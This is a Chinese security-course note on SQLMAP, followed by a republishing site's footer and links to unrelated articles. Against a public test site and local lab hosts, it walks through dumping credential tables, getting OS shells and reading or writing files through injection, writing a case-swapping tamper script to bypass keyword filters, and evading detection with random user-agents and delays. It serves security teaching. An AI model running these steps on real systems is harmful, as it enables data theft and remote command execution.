046-WEB攻防-注入工具SQLMAPTamper编写指纹修改高权限操作目录架构

046-WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

#知识点:

1、SQLMAP-常规猜解&字典配置
2、SQLMAP-权限操作&文件命令
3、SQLMAP-Tamper&使用&开发
4、SQLMAP-调试指纹&风险等级

演示案例:

➢数据猜解-库表列数据&字典
➢权限操作-文件&命令&交互式
➢提交方法-POST&HEAD&JSON
➢绕过模块-Tamper脚本-使用&开发
➢分析拓展-代理&调试&指纹&风险&等级

#参考文章:

https://www.cnblogs.com/bmjoker/p/9326258.html

#数据猜解-库表列数据&字典

测试:http://vulnweb.com/
–current-db
–tables -D “”
–columns -T “” -D “”
–dump -C “” -C “” -T “”

1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)

  • http://192.168.200.140:89/Pic.asp?classid=3
1.打开对应的UploadParsing网址,并使用其分配的IP进行访问

Untitled

2.源码中,没有进行sql语句的过滤直接拼接,造成有注入风险
  • http://192.168.200.140:89**/Pic.asp?classid=3**

    Untitled

3.使用sqlmap工具进行sql注入
  • G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  • **python sqlmap.py -u "" --tables** //获取表名
    python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
    **python sqlmap.py -u "" --dump -C "username,password" -T admin** //获取表名下的列名数据

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

    • python .\\sqlmap.py: 启动 SQLMap 工具,使用 Python 解释器运行。

    • u "<http://192.168.200.140:89/Pic.asp?classid=3>": 指定目标 URL,即要测试的网站地址。在这个例子中,目标 URL 是 http://192.168.200.140:89/Pic.asp?classid=3u 选项用于指定 URL。

    • -tables: 指定 SQLMap 工具执行的任务,这里是获取数据库中的所有表。-tables 选项用于请求表的信息。

    • 提示有注入点

      Untitled

  • 它询问是否要使用常见的表存在性检查方法

    • do you want to use common table existence check? [Y/n/q] y

    • 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。

    • 询问用户要设置多少个线程进行测试

    • please enter number of threads? [Enter for 1 (current)] 输入10

      Untitled

Untitled

Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --columns -T admin

    • -columns: 这是 SQLMap 的一个选项,用于指示工具查找指定表的列。

    • T admin: 这是 SQLMap 的另一个选项,用于指定目标表的名称。在这里,它是 “admin” 表。

      Untitled

      Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

    • -dump: 这是 SQLMap 的选项,用于指示工具从数据库中检索数据。

    • C "username,password": 这是 SQLMap 的选项,用于指定要检索的列的名称。在这里,它是 “username” 和 “password” 列。

    • 得出如下的用户名和密码

      Untitled

  • 如果修改数据库的表名

  • 将原本的数据库中的Admin表表名修改为Adminxaiodi

  • 将相关缓存输出目录删除,继续查询

Untitled

  • 再次输入**python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables 查询表名,发现无法测出Adminxiaodi表名**

  • 原因是:使用猜测的字典中没有相关Adminxiaodi表名,所以猜不出

  • 方法:手动添加字典内容

    • 字典位置:G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\data\txt

    • 添加内容:adminxiaodi

    • 重新运行,成功猜出

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

  • 猜测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看

    Untitled

    Untitled

2.Apache, PHP, MySQL(普通权限)

  • http://testphp.vulnweb.com/artists.php**?artist=1(有注入漏洞)**

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –is-dba是否是数据库管理员)(会误报)

  • 输出显示 current user is DBA: False这表示当前数据库用户不是数据库管理员。

    分析这个结果的意义如下:

    • current user is DBA: False: 当前数据库用户并非数据库管理员。数据库管理员通常具有更高的权限,可以执行更敏感的数据库操作。

    这个信息是 SQLMap 在测试过程中根据数据库的反馈来判断的。在安全测试中,了解当前用户是否是数据库管理员对于评估系统的安全性和潜在的漏洞是重要的一部分。如果 --is-dba 结果为 True,则表明当前用户是数据库管理员,可能具有更大的潜在威胁。

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-user==(获取当前用户名称,推荐使用)==

Untitled

1.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” 使用 SQLMap 对提供的 URL 进行 SQL 注入测试
  • 这个命令的目的是使用 SQLMap 对提供的 URL 进行 SQL 注入测试。SQLMap 将自动尝试检测目标 URL 是否存在 SQL 注入漏洞
  • **heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')**这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论
    • GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。
    • Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统**(DBMS)可能是 MySQL。**

Untitled

  • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    • GET parameter ‘artist’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable: ==SQLMap 发现 ‘artist’ 参数可能受到 MySQL 版本大于等于 5.0.12 的时间盲注入漏洞的影响。==时间盲注入是一种 SQL 注入技巧,注入点插入类似 AND SLEEP(5) 的语句,来测试是否导致页面在执行时发生延迟。
    1. “Do you want to skip test payloads specific for other DBMSes? [Y/n]”: SQLMap 提供了一个选择,询问是否要跳过针对其他数据库管理系统的特定测试负载。在这里,如果您确认目标系统是 MySQL,并且希望专注于 MySQL 测试,可==以选择 “Y”(Yes),跳过其他 DBMS 的测试。==
    2. “For the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]”: SQLMap 进一步询问是否在剩余的测试中包括所有针对 ‘MySQL’ 的测试,同时扩展提供的 level(级别)和 risk(风险)值。在这里,如果您希望执行更全面的 MySQL 测试并扩展默认的测试级别和风险值,可以选择 “Y”(Yes)。

    Untitled

Untitled

  • GET parameter ‘artist’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    • GET parameter ‘artist’ is vulnerable: SQLMap 确认 ‘artist’ 参数存在漏洞,即可被注入。这可能是通过前面的测试(包括时间盲注入测试)得出的结论。

    • Do you want to keep testing the others (if any)? [y/N]: SQLMap 提供了一个选择,询问是否要继续测试其他参数(如果有的话)。在这里,它询问用户是否想要继续探测其他可能存在漏洞的参数。选择 “y” 表示继续测试其他参数,

    • 得到的结论:

      1. Injection Points:
        SQLMap已经识别了一个注入点,即 GET 参数 ‘artist’。它在测试中使用了不同类型的注入测试负载来验证漏洞的存在。
      2. Boolean-based Blind Injection:
        • Type: 基于布尔的盲注(boolean-based blind)
        • Title: 使用 WHERE 或 HAVING 子句的布尔盲注
        • Payload: artist=1 AND 3483=3483
      3. Time-based Blind Injection:
        • Type: 基于时间的盲注(time-based blind)
        • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        • Payload: artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(5)))hRNW)
      4. UNION Query Injection:
        • Type: UNION 查询注入
        • Title: 通用 UNION 查询 (NULL) - 3 列
        • Payload: artist=-1425 UNION ALL SELECT CONCAT(0x717a706a71,0x4b4c4e714344494b55456f706c6c556f5968514e647a74536f72444975414d5a6c4a5a446756726c,0x7176787171),NULL,NULL-- -
      5. Back-end DBMS Information:
        • SQLMap 进一步确认后端数据库管理系统 (DBMS) 是 MySQL,且版本是大于等于 5.0.12。
      6. Web Server and Application Information:
        • Web 服务器操作系统:Linux Ubuntu
        • Web 应用程序技术:Nginx 1.19.0, PHP 5.6.40

      Untitled

2.由于MySQL数据库,存在多种表,在检测时候应先使用:ppython sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-db 表示要获取当前数据库的名称。
  • 如果直接使用python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –tables 查询所有数据库名称 显示的会特别杂乱

    Untitled

  • –current-db 表示要获取当前数据库的名称。 会简洁许多,定位在想要注入的数据库中

Untitled

3.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --tables -D “acuart” 并尝试获取指定数据库(“acuart”)中的所有表的名称。

Untitled

4.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --columns -T “users” (对指定表(“users” )进行测试,并尝试获取该表的所有列的名称)

Untitled

5.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --dump -C “name,pass” --columns -T “users”(从指定表 (“users”) 中的指定列 (“name” 和 “pass”) 中检索数据,并将结果输出。)
  • 数据以表格形式保存在本地

Untitled

Untitled

#权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
–is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用–current-user

引出文件:
–file-read --file-write --file-dest
引出命令:
–os-cmd= --os-shell --sql-shell

1.判断权限:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –is-dba(是否是数据库管理员)(会误报)或者==–current-user(获取当前用户名称,推荐)==

  • current user: 'root@localhost’,代表是最高权限Root权限

Untitled

Untitled

2.判断是否可注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试

  • 存在注入点
  • 且为MySQL数据库

Untitled

Untitled

3.引出命令:

–os-cmd=(在目标系统上执行操作系统命令)
–os-shell (获取一个操作系统 shell(命令行)连接)
–sql-shell**(执行SQL命令)**

  • –sql-shell (执行SQL命令)

    • select version(); (获取数据库版本信息)

      Untitled

    • select * from admin; (查询表的信息)

      Untitled

    • 输入exit退出

  • –os-cmd= (在目标系统上执行操作系统命令)

    • –os-cmd=calc (执行计算器)

      • 询问语言(直接回车默认即可

        Untitled

      • 路径自动查询失败,选则2(自定义路径)

      • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

        Untitled

      • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

      Untitled

      Untitled

  • –os-shell (获取一个操作系统 shell(命令行)连接)

    • 询问语言(直接回车默认即可

      Untitled

    • 路径自动查询失败,选则2(自定义路径)

    • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

      Untitled

    • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

      Untitled

    • os-shell> ipconfig (显示ip地址)并输入a或y

      Untitled

4.引出文件:

–file-read**(文件读取)**
–file-write --file-dest(写入操作)

  • **--file-read (文件读取)**

    • **--file-read "f:\\1.txt”** 读取F盘的文件1.txt

      • do you want confirmation that the remote file ‘f:/1.txt’ has been successfully downloaded from the back-end DBMS file system? [Y/n] y

      • SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。以下是对选项的解释:

        • Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。

        Untitled

    • 打开保存的文件,发现成功读取

      Untitled

  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

    • –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

    • –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

      python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" **--file-write="f:\\1.txt" --file-dest="c:\\123.txt"**
      
      

这个命令的目的是将指定的内容(“f:\1.txt”)写入 ‘c:\123.txt’ 文件。

Untitled

Untitled

#提交方法-POST&HEAD&JSON

测试:Post Cookie Json
–data “”
–cookie “”
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码进行登录提交表单的测试

Untitled

3.并进行抓包,查看对应==登录文件中负载的表单数据格式==

4.普通的字符串格式:”uname=test&pass=test”

Untitled

–data “”
  • 该选项用于指定要发送的 POST 数据。在你的命令中,--data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 **--data "**uname=test&pass=test**"**

  • 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL

    • 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

    Untitled

Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"
    • u "http://testphp.vulnweb.com/userinfo.php":
      • 指定目标 URL,这里是登录页面的 URL。
    • -data "uname=test&pass=test":
      • 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。
  • 成功实现POST数据注入:

Untitled

–cookie “”(原理一样,只做data的演示)
  • 该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"
推荐使用-r 1.txt
  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
  1. 首先进行页面测试,并进行抓包

  2. 在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

  3. 选中对应的页面数据包,复制请求标头

  4. 复制请求数据包:uname=test&pass=test

  5. 将复制的东西,创建一个head.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  6. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入image-20240221214848782

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间
  7. 打开sqlmap,实行注入:python sqlmap.py-r .\head.txt

    1. 空格默认

      • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

      • got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php':

        • 在测试过程中,得到了一个 HTTP 302 重定向到 'http://testphp.vulnweb.com:80/login.php'
      • Do you want to follow? [Y/n]:

        • SQLMap 询问是否要跟随这个重定向。即是否要按照新的 URL 继续测试。

          Untitled

  8. 成功注入

Untitled

Untitled

Untitled

Untitled

5.json格式:{“username”:“admin”,“password”:“123456”}

Untitled

  1. 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {
    “username”: “admin”,
    “password”: “123456”
    }

  4. 将复制的东西,==创建一个json.txt==文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  5. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

      {
      “username”: “admin*****”,
      “password”: “123456*****”
      }

  6. 打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

  7. SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    • [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

      • 选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1*,类型是单引号字符串。这是默认选择。
    • [1] place: (custom) POST, parameter: JSON #2*, type: Single quoted string:

      • 选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    • [q] Quit:

      • 选项 q 表示退出选择,不选择任何注入点。

        Untitled

Untitled

Untitled

Untitled

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用–data去注入存在以下问题

    • 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

    • 复制数据包:{“username”:“admin”,“password”:“123456”}

    • 打开sqlmap,实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

      Untitled

    • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

      Untitled

    • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

      Untitled

    • 即使加入*,标明注入点,依旧无法正常注入

    Untitled

    Untitled

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入
–tamper=base64encode.py
–tamper=test.py

Tamper脚本使用

1.测试GET页面,抓包,选中带有负载数据的页面http://192.168.137.1:84/sqli/base64.php?id=MQ==

Untitled

Untitled

2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ=="
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入

Untitled

Untitled

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题

Untitled

Untitled

Untitled

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “http://192.168.137.1:84/sqli/base64.php?id=MQ==” –tamper=base64encode.py成功注入

Untitled

Untitled

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤

Untitled

Untitled

2.抓包,指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入

Untitled

Untitled

3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY

# 设置 tamper 脚本的优先级为低(LOW)
**priority** = PRIORITY.LOW

# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
    pass

# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
    # 如果存在有效的 payload
    if payload:
        **# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
        payload = payload.replace('ELT', 'Elt')**
    # 返回处理后的 payload
    return payload
4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\tamper 并开启sqlmap进行注入:**python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –tamper=test 成功注入

Untitled

Untitled

Untitled

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

  • 不使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4

Untitled

Untitled

  • 使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -tamper=test -v 4

Untitled

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

  • python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2 –proxy “http://127.0.0.1:8080/”
  1. 确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;

  2. 发现burp中接受到注入的的数据包,便于后期分析注入原理。

    Untitled

3、打乱默认指纹:

–user-agent “” #自定义user-agent
–random-agent #随机user-agent

  • 面试问题:由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。

    • sqlmap的固有流量特征数据包user-agent中会默认其版本号

    • User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

      Untitled

  • 解决方式:通过自定义或者随机ua头,避免被过滤

    • 通过自定义user-agent:--user-agent ""

    • 随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent

      Untitled

      Untitled

  • 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

  • 解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 --random-agent –time-sec=(2,5)

--time-sec=5#延迟响应,默认迟为5秒。

  • -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句

    Untitled

4、使用更多的测试:–level --risk等级限制

–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1

Untitled

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

    Untitled

  2. 当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

    1. 首先使用默认等级进行扫描:

      1. python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1”

      2. 发现有过滤,无法寻找到注入点

        Untitled

      Untitled

    2. 在执行代码后==规定等级:==**--level=3(测试水平等级)** --risk=2(执行的风险等级) python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2

      1. 发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
      2. 原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点

      Untitled

      Untitled

AgAABTZwlSIrkRUmReVN9ZM0JO8xKbIA.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/415710.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

华为配置AP接入GPON网络配置示例

配置AP接入GPON网络配置示例 组网图形 图1 配置AP接入GPON网络示例 表1 版本信息 网元 设备选型 版本 OLT EA5800 V100R019C20 AC AC6805 V200R019C10 AP AirEngine 6760-X1 配套安装OptiXstar S800E GPON光模块 V200R019C10 Switch S6320-SI V200R019C10 ^^^ 组…

[python]随机选取的方式——random.choices()

关于随机选取的函数。 1. 列表随机选取 1.1. 随机等概率选取一个结果 首先我们来想象一下&#xff0c;现在有一个列表&#xff0c;要在其中随机选取一个数字&#xff0c;比如&#xff1a; a [1,2,3,4,5] 这里我们需要用到一种比较简单的随机选取方式&#xff0c;即random…

Vueuse:打造高效的 Vue.js 开发利器

Vueuse&#xff1a;打造高效的 Vue.js 开发利器 Vueuse 是一个功能强大的 Vue.js 生态系统工具库&#xff0c;它提供了一系列的可重用的 Vue 组件和函数&#xff0c;帮助开发者更轻松地构建复杂的应用程序。本文将介绍 Vueuse 的主要特点和用法&#xff0c;以及它在 Vue.js 开发…

VS Code(Visual Studio Code)本地(local)和远程(ssh)Docker Container 下的 Python 开发和调试

VS Code&#xff08;Visual Studio Code&#xff09;本地&#xff08;local&#xff09;和远程&#xff08;ssh&#xff09;Docker Container 下的 Python 开发和调试 1. 目的需求2. VS Code 简介3. 使用实践&#xff1a;一个简单的实例3.1 准备工作3.1.1 远程服务器3.1.2 本地…

揭示IP风险画像的作用与价值

在当今数字化时代&#xff0c;互联网的快速发展为企业和个人带来了巨大的机遇&#xff0c;同时也带来了各种安全风险和威胁。随着网络攻击手段的不断升级和演变&#xff0c;传统的安全防御手段已经无法满足对抗复杂多变的网络威胁的需求。IP风险画像作为一种新型的网络安全解决…

24计算机考研深大经验分享(计算机专业考研综合安排)

文章目录 背景科目选择高数选课一轮二轮冲刺阶段 线代一轮二轮 概率论计算机学科专业基础408数据结构计算机组成原理操作系统计算机网络总结 英语政治 末言 背景 首先贴一下初试成绩。这篇分享主要是给零基础的同学使用的&#xff0c;基础好的同学可以自行了解补充一下&#xf…

[设计模式Java实现附plantuml源码~行为型] 对象状态及其转换——状态模式

前言&#xff1a; 为什么之前写过Golang 版的设计模式&#xff0c;还在重新写Java 版&#xff1f; 答&#xff1a;因为对于我而言&#xff0c;当然也希望对正在学习的大伙有帮助。Java作为一门纯面向对象的语言&#xff0c;更适合用于学习设计模式。 为什么类图要附上uml 因为很…

智能边缘小站 CloudPond(低延迟、高带宽和更好的数据隐私保护)

智能边缘小站 CloudPond(低延迟、高带宽和更好的数据隐私保护) 边缘小站的主要功能是管理用户在线下部署的整机柜设施&#xff0c;一个边缘小站关联一个华为云指定的区域和一个用户指定的场地&#xff0c;相关的资源运行状况监控等。 边缘计算 迈入5G和AI时代&#xff0c;新…

unity 场景烘焙中植物叶片(单面网络)出现的白面

Unity版本 2021.3.3 平台 Windows 在场景烘焙中烘焙植物的模型的时候发现植物的叶面一面是合理的&#xff0c;背面是全白的&#xff0c;在材质球上勾选了双面烘焙&#xff0c;情况如下 这个问题可能是由于植物叶片的单面网格导致的。在场景烘焙中&#xff0c;单面网格只会在一…

区块链游戏解说:什么是 Arcade Champion

作者&#xff1a;lesleyfootprint.network 编译&#xff1a;cicifootprint.network 数据源&#xff1a;Arcade Champion Dashboard 什么是 Arcade Champion Arcade Champion 代表了移动游戏世界的重大革新。它将经典街机游戏的怀旧与创新元素结合在一起&#xff0c;包括 NF…

创建型设计模式 - 建造者设计模式 - JAVA

建造者设计模式 一. 简介二. 使用场景分析三. 代码案例3.1 创建ComputerBuilder 类3.2 修改子类3.3 修改工厂3.4 测试 四. 建造者模式案例 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&#xff1a;神的孩子都…

Unity中的UI系统之GUI

目录 概述工作原理和主要作用基础控件重要参数及文本和按钮多选框和单选框输入框和拖动条图片绘制和框 复合控件工具栏和选择网络滚动视图和分组窗口 自定义整体样式自定义皮肤样式 概述 什么是UI系统 UI是User Interface&#xff08;用户界面&#xff09;的简称&#xff0c;用…

Bert基础(五)--解码器(下)

1、 多头注意力层 下图展示了Transformer模型中的编码器和解码器。我们可以看到&#xff0c;每个解码器中的多头注意力层都有两个输入&#xff1a;一个来自带掩码的多头注意力层&#xff0c;另一个是编码器输出的特征值。 让我们用R来表示编码器输出的特征值&#xff0c;用M来…

Unity安装与简单设置

安装网址&#xff1a;https://unity.cn 设置语言&#xff1a; 设置安装位置&#xff1a;否则C盘就会爆了 获取一个个人的资格证&#xff1a; 开始安装&#xff1a; 安装完毕。 添加模块&#xff1a;例如简体中文 新建项目&#xff1a; 布局2*3、单栏布局、 设置…

el-table实现转置表格

vue版本&#xff1a;vue2.6.10 elementui版本&#xff1a;2.15.14 实现效果&#xff1a;el-table实现行列互换 代码&#xff1a; <template><div class"app-container"><span>原始数据</span><el-table:data"datas"border>…

循环结构:for循环,while循环,do-while,死循环

文章目录 for循环for案例&#xff1a;累加for循环在开发中的常见应用场景 whilewhile循环案例&#xff1a; for和while的区别&#xff1a;do-while三种循环的区别小结死循环 快捷键 ctrlaltt for循环 看循环执行多少次&#xff0c;就看有效数字有几个 快捷键 fori 示例代码&am…

Netty01NIO

NIO基础 NIO &#xff1a;non-blocking io 非阻塞 IO 笔记 www.zgtsky.top 网课&#xff1a;黑马Netty 三大组件 Channel & Buffer channel 有一点类似于 stream&#xff0c;它就是读写数据的双向通道&#xff0c;可以从 channel 将数据读入 buffer&#xff0c;也可以…

工作微信统一管理(还带监管功能)

1.会话页面(可统一管理多个微信号、聚合聊天、手动搜索添加好友、通过验证请求、查看好友的朋友圈等) 2.聊天历史(可查看 所有聊天记录&#xff0c;包括手机.上撤回、删除的消息) 3.群发助手(可以一 -次群发多个好友和群&#xff0c;还可以选择定时发送&#xff0c;目前还在内测…

docker (十二)-私有仓库

docker registry 我们可以使用docker push将自己的image推送到docker hub中进行共享&#xff0c;但是在实际工作中&#xff0c;很多公司的代码不能上传到公开的仓库中&#xff0c;因此我们可以创建自己的镜像仓库。 docker 官网提供了一个docker registry的私有仓库项目&#…

微服务之qiankun主项目+子项目搭建

主项目使用history&#xff0c;子项目使用hash模式 1. 下载安装"qiankun": "^2.10.13"2. 手动调用qiankun,使用vue脚手架搭建的项目1. 主项目配置&#xff08;我使用的是手动调用乾坤&#xff0c;在指定页面显示内容&#xff09;1. 要使用的页面中引入乾坤…